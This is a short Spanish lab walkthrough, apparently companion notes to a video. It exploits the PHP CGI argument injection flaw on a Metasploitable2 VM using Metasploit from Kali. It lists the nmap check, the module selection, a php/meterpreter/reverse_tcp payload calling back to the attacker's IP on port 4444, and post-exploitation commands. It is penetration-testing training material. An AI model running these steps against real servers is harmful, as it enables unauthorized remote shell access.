🎬 Este video de YouTube

1️⃣ Verificar el objetivo

Determina la IP de Metasploitable desde Kali:

ip a

Por ejemplo:

Kali: 192.168.56.101

Metasploitable2: 192.168.56.102

Verificamos el puerto y el servicio:

nmap -p 80 192.168.56.102

También se puede verificar en el navegador:

http://192.168.56.102/

2️⃣ Iniciar Metasploit

msfconsole

3️⃣ Seleccionar el módulo de exploit PHP CGI

search php cgi

El módulo correcto:

use exploit/multi/http/php_cgi_arg_injection

4️⃣ Configurar el exploit

set RHOSTS 192.168.56.102
set RPORT 80
set TARGETURI /

Seleccionamos el payload:

set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 4444

Verificamos:

show options

5️⃣ Ejecutar el exploit

run

o

exploit

Si tiene éxito:

Meterpreter session 1 opened

6️⃣ Verificar el acceso

sysinfo
whoami